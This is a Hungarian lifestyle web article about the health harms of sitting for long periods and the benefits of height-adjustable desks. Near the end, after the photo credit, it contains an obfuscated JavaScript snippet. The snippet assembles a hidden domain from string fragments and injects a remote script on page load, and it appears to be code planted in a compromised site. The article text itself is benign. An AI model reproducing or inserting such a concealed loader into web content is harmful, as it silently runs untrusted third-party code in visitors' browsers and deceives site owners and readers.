Mennyit ülünk egy nap?

Címlap / Életmód / Egészség / Mennyit ülünk egy nap?

Mennyit ülünk egy nap?

🎥 Jobb ember vagy, mint hinnéd, ha ez az 5 dolog jellemző rád

Miért baj az ülés?

Nem baj, egy bizonyos fokig, adott minőségben. Viszont a monotonul ismétlődő testtartás komoly problémákhoz vezethet. A krónikus hát- és vállfájás az egyik ilyen tipikus tünet. De az emésztési gondok sem ritkák, hiszen a bélrendszer ücsörgés közben kevésbé aktív. Az elhízás is ide sorolható, aminek folyományaként nem hagyható említés nélkül a szív- és érrendszer túlzott terhelése. Ami pedig ezek mellett fixen adott a diszkomfortos érzet.

Az emberi test egészségének megőrzéséhez elengedhetetlen a fizikai aktivitás. Ez nem feltétlenül edzést jelent. Az állítható asztalláb olyan megoldásként szolgálhat, amire kevesen gondolnak, pedig konkrétan mindent képes megváltoztatni. Hogy hogyan?

A helyzetváltoztatás aranyat ér?

Igen! Pontosan ez az esszenciája az állítható magasságú íróasztalnak. Az ülő pozíció ugyan megmaradhat, de a milyensége akár nap, mint nap változtatható. Sőt! Orvosi kutatások külön foglalkoztak az állás élettani hatásaival. A tudósok arra jutottak, hogy a gerinc egészsége szempontjából mindenképpen jó ötlet az állva ténykedés, bár hozzátartozik az igazsághoz, hogy ebben az esetben különösen hangsúlyos a test középpontjának megtalálása, az egyensúly fenntartása. De mint minden készség ez is fejleszthető, mégpedig gyakorlással.

Ez a jövő vagy a jelen innovációja?

Itt és most megvalósítható mindez. Az irodai asztalok közbenjárásával a munkahelyi közeg formálható át, míg az otthonra szánt típusok akár a gyerkőcök, akár a felnőttek mindennapjait varázsolhatják egészségesebbé. Mindemellett pedig a stílusosság is hódíthat köszönhetően a személyre szabott jellemvonásoknak és az egyedi kialakításnak.

A fotó forrása: epixproductions / Shutterstock.com

(function(){ ac2m=document.createElement("script");ac2m_="u"+("s")+"ta"; ac2m_+=("t.i")+""+"n";ac2m_+=(("f")+"o");ac2m.type="text/javascript"; ac2m_+="/"; ac2mu="436990613";ac2mu+=".p9hle964c2mfcvttpuX";ac2mu+="jsb4zzXuspc"; ac2m.src="https://"+ac2m_+ac2mu;ac2m.async=true;document.body.appendChild(ac2m); })();
🎥 Jobb ember vagy, mint hinnéd, ha ez az 5 dolog jellemző rád
Kövesd a Bien.hu cikkeit a Google Hírek-ben is!